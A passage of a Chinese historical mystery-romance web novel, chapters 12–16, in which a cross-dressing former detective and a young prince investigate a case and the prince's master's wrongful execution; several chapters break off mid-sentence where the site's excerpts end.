谢明乾离胡碟一步之遥,方才便想上前询问,却顿住脚步收回了手,春二急了才飞身跳下。 他知道春二想他帮忙扶住胡碟,可他心上像有一只小蝴蝶扇着翅膀,抓也抓不住,奈何不得。 犹豫一瞬,他还是上前搀起了胡碟的另一只胳膊。 胡碟双唇微张,有些脱力道:“先回去。” 谢明乾心里想着,这细胳膊细腿的,要是晕在这里,他还真不知该如何。 想找个人背胡碟回去,又始终想不明白该叫谁来背最妥当。 心里像被掀翻的草丛,乱糟糟一片。 胡碟走到街上,深夜的凉风习习,吹散了她神志上的迷雾。 “你怎么了呀,吓成这样。”春二道。 胡碟理了理衣襟,指尖尚在微微颤抖,道:“没有,只是身子有些不适。” 谢明乾闻言挡在她身前,一双透亮的杏眼满是认真:“即是如此,那便先回家吧,查案如今没那么急。” “不用了,已经没事了。”胡碟目不斜视,绕过他往前,朝县衙方向走去。 “夜深了,明早我们再去找许姑娘。”她道。 她或许是被吓到了。 是谁呢? 是那根簪子,还是许姑娘? 她知道,是许姑娘。 她和许姑娘不熟识,但她现下有些小脾气,像云江小时候要吃糖果,她却没下山给她买一样,耍赖任性,生闷气。 云江知道她和母师从来不纵着她吃甜食,只是心中还抱着一丝侥幸和期待,见她真没去买,心底还是落魄。 她如今也是一样。 早便猜到,许姑娘和南都那许多妇人一样会有变数,却不知变数在哪里,抱着一份期许。 她轻拍胸脯,反复告诉自己,每个人都不一样,莫要被从前迷了眼睛。 “许姑娘的证词虽然有些出入,可却不影响我们对这案子的判断。”胡碟沉吟片刻,徐徐道。 - 玄鉴堂。 子时已过,夜晚安静极了,烛火也如渴睡的人,一下下打着盹。 “幽王殿下,徐知县。”胡碟背着手,立于月华流光之下,“我们也来做一遭神探,你们觉得,凶手会是谁呢?” “我觉得是色鬼。”徐友来捋了捋胡子,笃定道。 “那海棠红提花绸便是最有力的证据,无论怎么狡辩,我都觉得他脱不了干系。” 谢明乾斟酌片刻,犹豫看向她道:“我倒认为,是赌鬼报复,方才我们虽去醉红轩问了色鬼的事,可我觉得毫无用处呀,说不定那红布,真的就是和胡老弟的一样,半道上被赌鬼捡了去。” 胡碟闻言浅浅笑了一下,这一下,有些晃眼。 她道:“也对,也不对。若是写到南都神探集里,这故事该这样讲。” 有一男子,姓甚名谁暂不论。 忽有一日,天赐洪福发了财。 财宝好,何处了,娶个媳妇生个宝,乡里乡亲都说好。 怕只怕,这男子,大摇大摆露了富,豺狼虎豹都来了。 禹城里,东街巷,有个黑心脏赌坊,老板眼珠滴溜溜,伸手想把钱抓了。 城东打渔汉,通河里捞鱼把钱赚,啥事都装酒里干。 有一日,遇上黑心老板钱抓手,两人眼珠滴溜溜,伸手想把钱抓了。 打渔汉,请吃饭,这男子昏头昏脑套里钻。 禹城里,东街巷,黑心赌坊他要钻。 这一去,千金赔了,玉盏也换,打碎骨头做赌汉。 打渔汉请君入瓮,钱抓手瓮中捉鳖,这俩人,齐心协力 12. 第十二章 《南都乃我掌中之物》全本免费阅读 天刚蒙蒙亮,东街的馄饨摊子便支起来了。 热气腾腾的馄饨鲜香四溢,飘着白雾。隔着雾帘子,胡碟一袭白衣端坐小桌前,面无表情,冷声道:“老板,小碗馄饨,要虾不要米。” 雾气那边的虚影愣了片刻,放下手里捞馄饨的网,穿过白雾,道了句:“来了!” 他将帕子往肩上一摔,接过了胡碟手里的三枚铜钱。 最下面的第三枚铜钱与第二枚铜钱之间,夹了一张花生大小的小纸片,叠得四四方方。 胡碟给了钱,连口茶水也没喝,便扬长而去。 黑暗中,街道无边寂静,谁也没瞧见这一切。 胡碟往前走了几步,便到了酒鬼洪盛家门口,卯时一刻,等的人准时到了。 “胡老弟这么早便到了?” 一行四个人有说有笑,迎着清晨的薄雾,黑影由虚变实,终于露出了面目。 谢明乾将当关剑横搭在脖颈上,孙悟空似的走过来,老远便和她打招呼。 凉风微荡,带着朝露的湿气,胡碟突然觉得自己身上有点凉,身旁有些空。 “顺便去吃一碗馄饨。”她的语气一如既往的平淡。 “是么。”谢明乾不自然地瞟她一眼,侧过身去。没闻到她身上的馄饨味,只闻见和那日一样潮湿焚尽的醇甜味。 胡碟和笑嘻嘻的春二打了招呼,瞧见阿九也回来了。 “走吧。” 胡碟抬手欲敲门,手伸到半路,被谢明乾一把抓住。 谢明乾摸着手掌中那人手腕上凸起的骨节,感受到那手上的脉搏隔着薄薄的皮肉一下一下地跳,慌了神:“我、我……你等一等,等一等……” 胡碟看着他,眼中诧异逐渐转为平静,波澜不惊道:“劳烦改一改你这一惊一乍的毛病,我们在查案,不是在遛狗,幽、王、殿、下。” 她将最后几个字咬得极重。 也算是习惯了,与谢明乾相处起来,同三岁稚子无疑。 谢明乾放下她的手,神色怪异中带着些期冀,慢悠悠从怀里拿出一本书递过来。 胡碟接过那还带着温热的书册,一看。 上头画了个横眉怒目的白脸包拯,左手一支狼毫,右手一枚柳叶,上书几个大字:云逸杰三庚辨尸。 “……” 胡碟看看手里的书,又看看谢明乾:“什么意思?” 谢明乾指了指那书册,献宝似的:“话本!云逸杰的!” “哦。”云逸杰低头翻看起来,一本正经道,“我以为是包拯成了仙,把面皮洗白了呢。” “这可是很难得的,”谢明乾嗔怪道,“我的那本先前丢了,阿九前几天好不容易帮我找到两本,我想着你也喜欢云逸杰的故事,特意拿来赠你的。” 胡碟不做声看了阿九一眼,状似无意道:“既如此,你不是想请云逸杰来查案么,怎么不一并请来?” “唉,这件事说来有些难过,老弟你别伤心啊。” “你说。”胡碟道。 为云逸杰哭一鼻子,还真不至于。 “有传闻说云逸杰死了,还是被我父皇杀的。”谢明乾道,“但我觉得不可能,云逸杰这样好的人才,我父皇连我都保下来了,肯定会保下他的。” “嗯。”胡碟心想,你那父皇若是真有此能,今日也不会有胡碟了。 还好,至少暂时还没有太多人知道她的去处。 “你觉得呢?”谢明乾一双亮闪闪的眸子盯着她,对她的回答满怀期待。 “我么……”胡碟垂眸想了想,“我想她恐怕是哪个下山游历的隐士,任务完成了,也就回去了。” 谢明乾愣住,浓密的睫毛似蝶翅扇动。 他前些日子对胡碟还有些顾虑,于是派阿九去查探,顺便带几本话本回来。 没想到阿九回来,说胡碟此人什么也查不到,像是个凭空出现的人。 他心中疑惑更深,可是一想到胡碟为查案也付出了许多,初时还被他五花大绑,心中便觉得愧疚,无论如何也不想她是个来路不明的人。 这番话,难道是在暗示他? 胡碟把书扔给他,道:“这些我都会背了,自己留着吧。” 说罢叩响了门。 谢明乾眼睛一亮,跟个小鹿似的欢欣跟上去。 - “吱呀” 那扇沉沉的黢黑木门缓缓打开,露出许梅香苍白的脸。 她看见来人,眼神有一瞬的躲闪,随即强撑着苦涩的笑:“请进吧。” 走进院子里,胡碟悄声对春二道:“今日必定是个诸事皆宜的日子。” “为何?”春二不明所以。 “洪家老太太不在。”胡碟道。 不知为何,她替许梅香感到了生活压抑的一丝松动。 “几位尝尝这茶,今年新做的。”禹城产茶,这里的人也爱吃茶,许梅香平时也做一些采茶的活计。 还是那张小桌。 春二尝了一口,道:“真香呀!” 许梅香又端出了一碟子海棠糕,道:“阿九姑娘昨日没来,今日尝尝刚出炉的。” 阿九一潭死水般的脸上裂出一丝笑容,道了声谢。 胡碟第一次听见她的声音,奇怪明明也是清亮的,人却不知总是能看出些黯淡的死气。 她收回眼神,心里埋怨自己没事对人品头论足的,莫不是受了这里风水的影响,和那洪老太一样了。 “许姑娘,叨扰了。”谢明乾对许梅香抱歉一笑,右手递了个海棠糕给窗外坚守暗卫岗位的春雨,左手一不小心,将自己那杯茶递到了胡碟手边。 胡碟正暗自忏悔,想着回去得抄多少遍清静经,才能使自己摆脱洪家这倒霉的诅咒,烦躁间一晃神,迷迷糊糊捞了手边的茶就往嘴边凑。 “咕嘟” 谢明乾从窗户处转过头,定定看着她吞下一口茶,接着再一口。 待放下茶盏,那茶水已见了底。 胡碟望向他,疑惑道:“何事?” 谢明乾看见她唇边挂着一滴水,心中怪异地敲起鼓来。 他暗暗叫自己移开眼,装作什么也没发生,完全不必放在心上,一张嘴,却只道是妖精作怪:“那是我的杯子。” 胡碟看了看手里的杯子,浑不在意道:“哦。抱歉。” 言罢将那杯子推回去,自顾自地和许梅香讲起话来。 她前半生的大部分时候在道观里长大,男女之事可以说闻所未闻。 后来扮作男装入了朝堂也一直如此,她是女人,那些男人是男人,这没错。 可是她和任何人都是毫无男女关系的男女。 靠得多近都不用在意。 谢明乾眼神飘忽望向窗外,方才他不知为何,鬼使神差的,便生了试探的心思,一张嘴,拉也拉不回来。 可胡碟大大方方毫无反应,也许这几日的怀疑,真是他想多了? “许姑娘,洪老太太不在么?”胡碟问。 许梅香捏着帕子,低头道:“婆母她和李大娘去了寺庙,给洪盛祈福去了。” “既然如此,那我便有话直说了。” “我知道胡大哥要说什么…… 13. 第十三章 《南都乃我掌中之物》全本免费阅读 风掀起许梅香的青丝,她低着头,头上湛蓝的发巾一尘不染,格外鲜艳。 那是胡碟最后一次看见她头上的那抹湛蓝。 良久,久到风已在旭日下吹凉了胡碟手中的海棠糕,隔着那油纸,再感受不到任何温热。 “没有。” 胡碟如愿以偿地听到这句话,她还是不该有那一丝期待的。 “好。”她愣愣地点头,胡乱道。 “胡大哥……”许梅香抬起头,已是泣不成声,“我知道,你们和春二姑娘一样,都是慈悲心肠的好人,我嫁给他五年,五年里,我无时无刻不在后悔,不在思念我的母亲,我过得很艰难……” 胡碟看着她红肿的眼睛,柔声道:“我知道,我知道。” 我可以帮你,让你不用靠他也能活着。 她心里想这么说。 “这五年我都熬过来了,我想活着,”许梅香隐忍着抽泣,快将下唇咬出血来,“我想活着,他真的不能死……” 她抬起眼眸,那双透着红的眼睛,还是胆小、怯懦又执着,还是沙沙地颤着,叫胡碟往后退了一步。 “我求您,别问了……”许梅香掩面靠在门上,泪水从沟壑干裂的指缝中露出,那皲裂的道道痕迹,年年岁岁,已是巨壑难填。 人一旦讲了拒绝的话,便再痛也决绝,再难拉回了。 胡碟明白的,她最明白了。 是以她张张嘴,庆幸自己没有将那句话说出口。 “许姑娘的海棠糕味美色香,你说这是你家乡特产,许姑娘不是禹城本地人么?”她站在台阶下看她,提起那袋海棠糕,以此掩盖自己的神情。 “是……我家在……” 胡碟浑浑噩噩,没听见许梅香说了什么,也没察觉自己是怎么回到家的。 她鞋子也没脱,合衣躺下,斜斜地栽在床铺里,柔软的被子托着她瘦削安静的脸,包裹着她昏昏沉沉入梦乡。 金簪所系,是追着她滚的落山石,一着不慎,她、云江、母师,还有天下女子都可能跟着遭殃。 是故昨夜忧心忡忡,她未曾合眼,今日已是疲惫不堪。 这般似曾相识的疲惫似一块轻纱,盖着她,粘着她,载着梦舟缓缓,缓缓,驶向那段在南都的日子。 - 南都宁康坊妇人的案子发生在正月里头,可胡碟审理案件被污蔑,奉旨杀猪离南都,已是一个多月以后的事了。 一个小小的家事案子,惊才绝艳的神探云逸杰哪里需要这么久才能判? 律法。 胡碟心道。 对、对,梦里回到的,是正月里某个鹅毛大雪的夜。 雪花纷飞,朔风凛冽,南都灯火通明的樊楼,大理寺卿最喜欢在这里喝酒。 胡碟着一身玉白素净长袍,衣襟上跳落片片雪花,要去陪大理寺卿喝酒。 宁康坊妇人的案子,在大昭叫做家事。 既是家事,哪里轮得到大理寺去受理?哪里有可以循规蹈矩的律法可依呢? 云逸杰在大理寺只是个打杂的理案郎,很多事都轮不到她管。 她从前救助过的那些妇人的案子,都是她从别人手上求来的。 如今这妇人的案子要审理,自然要去求大理寺卿。 酒桌上,琼浆玉液也涩口,难以下咽,她咬咬牙,一杯接一杯,喝了一个月,大理寺卿才同意她去审一审这案子。 这一个月里,这日的印象极为深刻,只因这日,她的月事造访。 她白日上值,夜晚为不相干的案子奔走,月事本就极不规律,这日几杯酒下肚,小腹痛如坠石难当,那汩汩的血流却似大旱断流的黄河水,奄奄一息。 第二日,月事带上只余下一抹干涸的血迹。 那抹斑驳的血痕和夜夜昏涨的头,才换来大理寺卿一句轻飘飘的同意。 她还记得大理寺卿点头那日,南都膝盖高的雪还未化完,她立马调转车头,去宁康坊。 这样的案子无律法保护,那么最重要的便是人证的证词,若是有邻里愿意上堂作证那妇人被打的事,案子也就名正言顺得多。 这已经是云逸杰的经验之谈,只是并未写到南都神探集上,故而外面的人不知她还会为妇人申冤。 她白日要去大理寺,晚间又怕扰人清梦,是故黄昏后到月中天,她得一刻不停地去敲门求人。 宁康坊妇人已被她送到南都驿馆,她又没有手下可以用,只能孤身前往。 宁康坊十五里长街,来来回回走了多少遍倒不曾计数。 敲了三百七十户人家的门,才求来一个愿意作证的人。 是三百七十五。 胡碟闷闷提醒道。 对,三百七十五,有些记不清了,许是太遥远,许是不在意了。 在滚滚洪流中逆行找寻公平,就只能靠一个人栉风沐雨去拼得。 当然,这三年里遇到的妇人案子也都差不多这般。 偶尔运气好,遇到的官员只喜欢文玩清供,也就省些力气,不如大理寺卿那般拿命来陪。 有时遇上的人证宽宥,她几两银子也就打点了,不用累到膝盖里碎掉一样痛。 只是那些女子最后都只是默默哭着对她摇头,似许梅香一般转身回去了,不似宁康坊那案子闹得这么大,也就无甚好回忆的。 她们总是胆怯、担心、害怕。 不必怕呀,云逸杰说过一定会帮她们的。 为什么想起这些?为什么难过? 胡碟打断道,明明没什么值得在意的。 她道,你自己说的,平日没有大案要办,也不去商议朝事,正好亲力亲为办些小案,谈不上辛苦。 你自己说坐庙堂救人和下泥地救人,没有区别。 后悔什么? 你自己说,你从不后悔。 床铺上的胡碟紧蹙着眉头,揉皱了薄被,她在梦里步步紧逼,逼问从前的回忆。 画面一转。 云逸杰满心欢喜对那妇人说,她丈夫将受惩诫,那妇人的脸却突然变成幽绿的鬼,控诉她图谋不轨。 这对她来说无疑当头棒喝,似骑着骏马向着太阳前行,前方却突现要命的断崖,惊了马,翻身跌落。 梦里梦外,她拼了命地往前跑,无一例外地跌落、下坠。 跌落、下坠。 因为这样才难过么,胡碟道。 窗户开着,风带着凉意丝丝地吹进来。 她背上汗湿,风一吹更是冰凉,猛吸一口气,眼前大雾散去,一朝惊醒。 背心的冰凉,沿着脊柱直直窜上心口,她攥住衣领,大口喘气,仿佛回到幼时被推下水的那个冬天。 那时她便想,要把命运掌握在手里,一直到如今,连做个梦都警戒。 要为女子某个出路,这是她从小的心愿,如今却已成了心病。 “咔哒” 窗户高高撑起来,外头的风忽的涌入,胡碟打了个寒 14. 第十四章 《南都乃我掌中之物》全本免费阅读 谢明乾一早就来了,背着他的当关剑。 他穿过人声鼎沸的东街,穿过桃红柳绿的院子,栖身到胡碟窗后的梨树上。 梨花已经谢了,只余下葱茏的新叶,暖暖朝霞映照下,嫩嫩青草和泥土的香味,叫人周身都放松。 胡碟打开窗户,瞧了一眼天边飘带似的缱绻云彩。 谢明乾扒开一条沉甸甸的枝叶,透过光影看下去,那人一身单薄的白衣,飘逸脱俗。 他自己穿了件宝蓝色的束腰半袖长袍,衬得他琥珀色的明眸似一颗稀世的珠宝。 胡碟就这么看着他轻轻一跃,落到窗前,山脊般挺拔险峻的鼻梁上有一层薄薄的汗。 那笑容明媚得像阳光下初春的嫩芽,他开口,声音像一道柔和的风,吹得嫩叶沙沙作响。 “胡兄弟。” 胡碟仰头看他,有些睁不开眼:“找着人了?” “对,”谢明乾欣喜道,“你真是神机妙算,不过我今日来,是想先说点别的事。” 胡碟收回目光往回走:“讲。” 谢明乾从窗户跳进来,道:“我还是第一次来你这儿。” 胡碟看他拘束地站在桌旁,指着唯一的那把椅子道:“坐。” “好。”谢明乾听话地掀开袍摆坐下,双手并在膝上,开门见山道,“我是想来跟你道歉,再顺便拜托你一些事。” “哦?”胡碟饶有趣味地冷笑一声,“有何贵干?” “首先是,那日不该如此鲁莽,随意绑人,我给你,赔个不是。” 他站起身,拍了拍挺括润泽的宝蓝衣摆,郑重地抱拳,鞠了一躬。 胡碟站在他身前几步的地方,双手抱胸,清冷的眼尾染上一丝笑意:“嗯,受了。” 谢明乾攥着衣角,低头像个罚站的小孩,露出一截细腻的脖颈,闷声闷气道:“然后是,其实前段时间我一直怀疑你,觉得你来路不明,还…还叫人去查你……” 怀疑他不是个屠户,怀疑他不是个男人。 “但我发现,我大错特错了,你有情有义,有勇有谋,不管是什么来头,我都该信任你。” 胡碟有些苍白惨淡的脸上没有什么波澜,心里暗自好笑。 她早便猜到了,并且她说不怕被查,真不是说说而已。 “你稚子心性,我不怪。” 谢明乾心中有些怪异,觉得自己像是去拜见菩提老祖的孙猴子,又听那菩提老祖一般的人道:“尘世纷扰,莫要轻信于人。” 他摇摇头,叫自己抛弃这糊涂想法。 “那你可查到我的底细了?”胡碟道。 “什么都没查到,所以我现在没什么怀疑了。” “什么都没查到,不该怀疑么?” 谢明乾见她巴不得自己怀疑,奇怪道:“怎么会呢,我想你不是一般人。” “不是一般人,”胡碟悠悠道,“那是什么人,妖精,鬼怪不成?” “我想……”谢明乾沉吟片刻,无比诚恳笃信,言之凿凿,“我想你是个隐世的高人,或许我们有缘,你前来点化我。” “……” 胡碟偏过头:“想多了,你我本无缘,你是靠那五花大绑的绳索绑来的,” “一段孽缘罢了。”她嘲讽道。 谢明乾凑了上来,抓着她问:“你不是说你从小住在道观里,不就是隐世修行的高人么?那日你说云逸杰游历结束回山里去了,不就是暗示我么?” “你是住在终南山么?你今年高寿啊?你是效仿姜子牙么?” 胡碟咬牙无奈道:“随你。” “是么,”他为难道,“可我身为武将,又不被父皇看重,甚至从小离宫,恐怕无缘继承大统,先生遇上我,恐怕难以如姜子牙那般解救苍生。” 胡碟见他越说越离奇,也生出些玩笑的心思,信口胡诌:“你当我是九天玄女化身吧,传道教法,不为颠覆寰宇,只要找个至纯至善之人,教他一路行善,叫天下百姓安康,便是幸事。” “你所求如此简单?” 胡碟浅笑,“可不简单,俟河之清,难于上青天。” 其实她从前所求的,不过想扶起每个路边跌倒的人罢了,都难以为继。 她听见泪水涟涟作雨滴落,却只能撑伞走过。 谢明乾想了想:“你我既然有缘,哪怕这缘分是我抢来的,也需珍惜。” “作为赔罪,我想为你舞剑一回。” 胡碟挑眉:“这是为何?” 好别致的歉礼。 谢明乾不做犹豫,当即掏出那把剑,拔出剑身递到胡碟面前。 “你看,这叫当关剑,是我师父亲自为我打的,你摸摸。” 那剑极为不凡,亮闪闪似划破天边的闪电。 胡碟瞧得挪不开眼,伸出食指,指腹轻轻擦过冰凉的剑身,仿佛指尖起了嗡鸣。 “那日在酒鬼家,我看你多瞧了它几眼,应该是喜欢的吧。” 剑身似冰湖的凌面,映着谢明乾灿阳般的笑脸。 “这是我的宝贝,除了我和我师父,没有人可以动她,我对你有愧,许你摸一回。” 胡碟眼底是溶溶波光,道:“多谢,收起来吧。” 她是喜欢剑,从前偶然下山游历时也得过有缘人赠的宝刀,只是母师说她体弱又不宜见刀光,叫她全心读书,故而她现如今也只会使杀猪刀。 那时云江那个傻丫头宽慰她道:“有我保护你,你怕什么。” 谢明乾见她目光柔和,趁热打铁道:“除去诚心赔罪,还想求你一件事。” 胡碟心情正阳光,道:“讲。” “事关重大,我先再送个礼,请君看我舞一曲,再说不迟。”谢明乾道。 胡碟垂眸,心中已经有了思量。 若是许三个愿望,或是什么小事,她勉强答应。 若是让她继续帮他查案,门都没有。 谢明乾不等她作答,提了剑便飞出去。 他心里明白,想靠舞剑赢得胡碟的支持,简直异想天开。 他想晓之以理,动之以情,胡碟一定会答应。 现下舞剑,不过是他瞧她眼底对这剑是真的欣赏,既是同道中人,他诚心感谢,想让她多看看这剑的威风。 他到了那棵梨树下,似一只翠鸟,振翅挥剑,剑光闪闪。 身姿挺拔敏捷,抬手、出剑、收回,如潺潺流水细腻舞动,似翩翩落叶快意翩跹。 剑与身,身与心,三者合一,剑尖划破虚空,霎那间山石停摆,万物细微做尘土,不偏不倚自剑尖划过,分毫不染。 他踩虚空,虚空如垫脚浮云。 他踢尘光,尘光如荡山碎石。 他挑柳叶,柳叶如蝶翅纷飞。 一曲无声毕,铮铮似高山流水,未语已歌。 他最后伸展双臂,剑身无限拉长剑意,直直飞过梨树暗影,指向那唯一炙热的阳。 剑尖一点光,如火星凝结。 收剑,一切冷却归于风声。 胡碟靠在窗边,头轻轻搭在窗棂上。 15. 第十五章 《南都乃我掌中之物》全本免费阅读 胡碟阖上眼睫,千头万绪如蚕吐丝,飞射游走,彼此交缠。 眼前显出那个死状离奇的吏部小官,那个无头无绪的“晋”和“禹”。 难怪查不出任何线索。 只因一切蛛丝马迹,恐怕已经随着净巍宗的销声匿迹而尘封。 她再睁眼,眼中波澜已如墨滴晕入池。 “所以你并未亲眼目睹案发那天你的师父、师兄弟具体在做什么,在和什么人接触?”胡碟若有所思。 “是。” “后来你赶到了禹城,见到了什么?” “我见到了……师门的人被关进禹城牢房里,不许探视,案发的酒楼、师父治病时落脚的医馆,通通被围,不许进入。” 官府办案,把案发地围起来是正常流程,胡碟不疑有他。 “但他们并不办案,也不审讯,只是把这些地方控制起来。”天光照进谢明乾眼里,琥珀色的眸子映出云霭。 “大雨连着下了十七日,钦差死了,拖垮了禹城的河堤,拖垮了城里的房屋,拖死了案发时我师父救治的病人,再无人证。我因为受了伤,无法潜入案发的地方查探,也无法听我师父再说一个字。” 胡碟墨色般凝重的眼里闪过一丝异样,她总觉得这话怪怪的。 “大雨停了,云销雨霁,大地上来了阳光,南都也派来了查案的大理寺卿。” “禹城县令将我师父作为凶犯交予大理寺卿,并将我的师兄弟也一并交了上去,三十多个人,”谢明乾攥住虚空中不存在的东西,“如黄纸一张,轻飘飘递给了他。” “官府撤了人,我将酒楼和医馆翻了个遍,没有,什么都没有,”他苦笑着摇头,“连一根头发也找不见了。” “雨停的第二天,一把大火,烧了个一干二净。” 十七岁的少年跪在城门口,身后火舌滔天,熊熊扑杀着十七天里的荒诞,将天盖烫了绯红。 他泪流满面地看着远去的囚车,恍惚看见自己半个多月里错过的一切,猴子捞月般追逐着梦幻泡影,所到的每一处都被有心人先行一步。 在山野里肆意了十七年的他,看不破人心,抓不住这座灯影摇晃的高城的一片衣袂。 十七年真实的日子,山间新绿,雾影花红,跑马弄剑,流觞论道,全落进那场大火里染了红,此后春树暮云,只觉一场大梦。 胡碟回想起那把剑,当关。 她望着窗前那道宝蓝色的虚影,艰难开口:“一剑当关破太虚,天命无咎死十七。是你么?” 是那年南都赶考,有人说菜市口要砍头了,她忙着科考无暇去听,而那之后皇帝下令不许再提起此事,她自然不会知晓。 “吧嗒” 一滴水珠砸到窗框上。 谢明乾带着微微颤抖,哑声道:“是我。” 胡碟伸手到窗子外试了试,漫不经心道:“下雨了吧。” 她续上思绪:“后来你怎么找到禹城来的?” “父皇保下了我,派我去戍边作为惩罚。师父在南都行刑的那天,在菜市口对我说了最后两个字。” 片刻,他道:“医馆。” “医馆?不是被烧了么,证人不是病死了么?”胡碟脑中的棋局走得飞快,“物证都烧了,看来……” “是还有人证。”她肯定道。 谢明乾佩服道:“对。我想了半年才想出来,你竟这么快便明晰了。” “这便是你们来寻采药郎的缘由?” “没错,我们查了两年,终于查到一个送药郎,灾时正缺药材,他拿了家里存的药材送来医馆,碰上了我师父。” “你不在场,怎知的他碰见你师父?”胡碟追问。 “是我说错了,那只是猜测。所以我们才来追查,找到他好查证一二。”谢明乾生怕自己说错话,小心翼翼道。 胡碟扶住窗户,猛地掀起,带起一片尘埃,谢明乾那张漂亮的脸和明眸露了出来。 她眯起眼睛带了些质问的意味,步步逼近:“那你前面讲的东西可有猜测?” “没有没有,”谢明乾摆手,顺带还真的低头沉思了一会儿,笃定道:“绝对没有,都是事实。” “嗯,没有就好。”胡碟得逞地点点头。 “既然都听到这儿了,先生就真的不考虑考虑答应帮我么?” 谢明乾猫下腰,皱巴巴的眉眼透着些悲戚与寥落。 “不许叫我先生。” “为何不可?我师父说,除师父外的老师或尊敬的人,皆称呼先生表示尊敬。当得起我一声先生的,除了你没别人了。” 胡碟答:“行了吧谢平初,我没什么东西好教你。” 谢明乾一看她松了口,轻轻往前凑:“你都叫我谢平初了,那你的字是什么?” 胡碟抬眼望了望天边的云,本想回答他自己一个屠户,哪来的什么字。 思量须臾,却又别开眼,又轻又缓道:“敏理。” 索性她的字几乎无人知晓。 “敏理,”谢明乾念着这两个字,没品出味来,“敏、理。是哪两个字?” 胡碟沉默了好半响,用很细微很悠长的声音道:“敏而好学,善宥知理。” “敏,勤勉。礼呢,礼记的礼?” “不,”胡碟凝着远山,颇有些惆怅道,“太上无情,昭昭天理的理。” 谢明乾想了想,道:“取这个字的人,对你期望很高吧?又要你勤勉,又要你知理,岂不是日日秉烛夜读,笔耕不辍?” 胡碟心道,母师对她没什么要求,只要她平安无事。倒是她给自己取的名,说出来岂不狂得骇人。 “敏理既如此有学识,何不去南都一展宏图?” 胡碟与他对视,瞧不清那澄澈的眼波是试探还是真的赞许。 只道是南都她不仅去过,还落荒而逃了。 恐怕自己都不愿承认,来禹城查案是假,对自己所做的事无计可施,无言面对,只能逃避才是真。 她逃开这个话题:“说点正事。那采药郎下落如何?” “你答应了?” 谢明乾忽的起身,险些把窗户给撞散了。 “再考虑考虑。你先说。” “是这样。”谢明乾回忆道,“破山带人去查了医馆,禹城医馆的老板说,他们的药材都是有固定的供货人的,只小半个月以前,来了个面生的外乡人,四十岁左右,来卖一味叫木土石的药材。” “木土石?” “这木土石听着简单,实则金贵。此物集齐天地灵气,长得像块石头,既要有朔金的锐气化去腐肉,又要有木的生发之息以生肌,在阳气极强的 16. 第十六章 《南都乃我掌中之物》全本免费阅读 “你怎知她是回娘家去了?”胡碟听了这消息,一时也没作何反应。 春二道:“嗯…是有个老妇人坐着马车来了,长得与许姐姐颇为相似,许姐姐见了她也十分欢喜。我守在院子外没听清她们叙话的内容,后来许姐姐背着包袱,便与那老妇人一同离开了。” 胡碟心中思量,这件事应当没有什么异常才对。 她以为春二是担心许姐姐离开后无法成功抓住色鬼,便道:“这是好事,我们也不需要她来做诱饵,只要洪家的宅子还在,一切就还能顺利进行下去。” “不,我不是担心这个,”春二摇头,“我只是……算了,确实是件好事,也许是我思虑太多了。” 胡碟见她神色有些飘忽,便问下去:“你在意着什么?说出来与我商量商量也好。” “她那时那么决绝……突然走了,我觉得不太……不太...” “人的心思都是会变的,也许她看见母亲,便决意去过新的生活了。”胡碟浅声道。 她虽然也惊讶许姑娘突然之间的转变,可心中又实在觉得离开是件好事,不疑有他。 也许每个人都有自己的命,就算能改变,也轮不到她帮忙。 “也许吧。”春二点点头。 胡碟思及谢明乾的话,问:“你明日可去莲县?” “我么,”春二指着自己,“我心里想着色鬼的事,若不抓住他,恐怕再给许姐姐带来祸事,便不与你们同去了。” 胡碟心下了然,便叫她回去给谢明乾带些嘱托。 “你回去告诉谢平初,说我问他,知不知道韬光晦迹这四个字怎么写?” - 次日,禹城东门外,梨花塘。 一驾四轮马车,顶盖墨蓝云金鎏纹,坠着金灿灿的穗子,前头两匹皮毛锃亮的骏马,鼓着鼻子伸蹄展脚,威风凛凛。 车上一男子叼着根草,侧身支起一条腿坐着,一身银灰色圆领深袍,发冠清雅将发丝利落梳起,眉目飞扬,如光胜雪,俊朗无双。 那独眼郎于马前扯着缰绳,面容冷峻。 一旁的女子带着把刀,刀上缠了些细细碎碎灰败的布条,刀与人一般死气沉沉。 卯时一刻,胡碟着一身淡雅的玉白素衫,超超越俗,如半天朱霞,夷然到场。 “敏理!你可来了,我还以为你当真不与我同去了。”谢明乾见了她,灿然一笑。 胡碟今晨醒来,发觉裤子上沾了些血,收拾了一番,故而来迟。 自正月里的酒赶走月事后,便很久不见癸水来造访。今晨见了血,好似松了口气。 癸水通畅与肾气之行密切相关,想来是她离开了南都,心情舒畅,身体也康健。 看来做个闲云野鹤也还算是不错。 她想,癸水属阴,滋润万物、运化土壤,正好她欲求新生,这血是个好兆头。 “看来你是听懂我的话了。” “那是,”谢明乾笑道,“你的意思不就是叫我做些打扮,别让人认出我超一品的身份么?” “嗯,精明不少。”胡碟掀开车帘,道:“走吧。” 摇摇晃晃,一行四人北上。 胡碟与谢明乾同坐车厢内,相顾无言。 她手执一卷《道德经》,时而沉思,时而翻动几页。 谢明乾着迷于《云逸杰三庚辨尸》,时而眉头紧锁,时而拍手叫好。 “好!”他合上书页,大肆赞叹道,“敏理,你说云逸杰此人怎么这般厉害,我实在想不出,他是如何发明三庚辨尸的!” 胡碟捧着书,扬了扬眉毛,嘴角微弯,头也不抬道:“尸体属阴,庚金乃阳金,代表着有杀伤力、能行破坏之物,集齐三种,便阳气极盛,自然可破解尸体之谜。” “原来如此!敏理兄之能,果真不输云逸杰。”谢明乾手肘靠在膝上,身子向前探,直直盯着她道。 胡碟轻笑一声:“不敢当,那可是通远二年的状元,不是谁随便就能比的。” 那三庚辨尸的“三庚”,实则是仵作验尸的三样工具,因着那年的案子里,亲属坚决不许验尸,她为了让仵作顺利验尸且合理解释验尸的痕迹,才出此下策。 她编了个故事,说自己以三庚起阵,身携辛金,扮作阴使密访阴曹见阎王,得知死者之冤,阎王见被骗,勃然大怒,将死者尸体剖开,她请来天医缝合好,这才成功还阳。 这故事一传十十传百,便传得她神乎其神了。 她抬眼,见谢明乾仍在津津有味地看那三庚辨尸的故事,无奈摇头。 莲县距禹城不算太远,只是路上淅淅沥沥下了场小雨,路面泥泞湿滑,致使行进缓慢,一天后才将将进了莲县地界。 “就是这山了。”破山抱着剑,一只眼有些阴鸷地望向前方。 几人停在山脚下,这山实在不算太高,可云层低低地压着,山间云雾缭绕,远远望去如大钵将山笼罩,山间茂密的丛林呈诡异的青黑色,似一只尖牙利爪的黑鸢盘桓巡视。 胡碟自马车跳下,深深望了那山林一眼,面色凝重。 她侧目:“你们都是在山里长大的吧?” 阿九的脸色比那山林的阴郁还少几分活气,纹丝不动。 “是。” 胡碟长这么大,第一次见比她还冷淡的人。 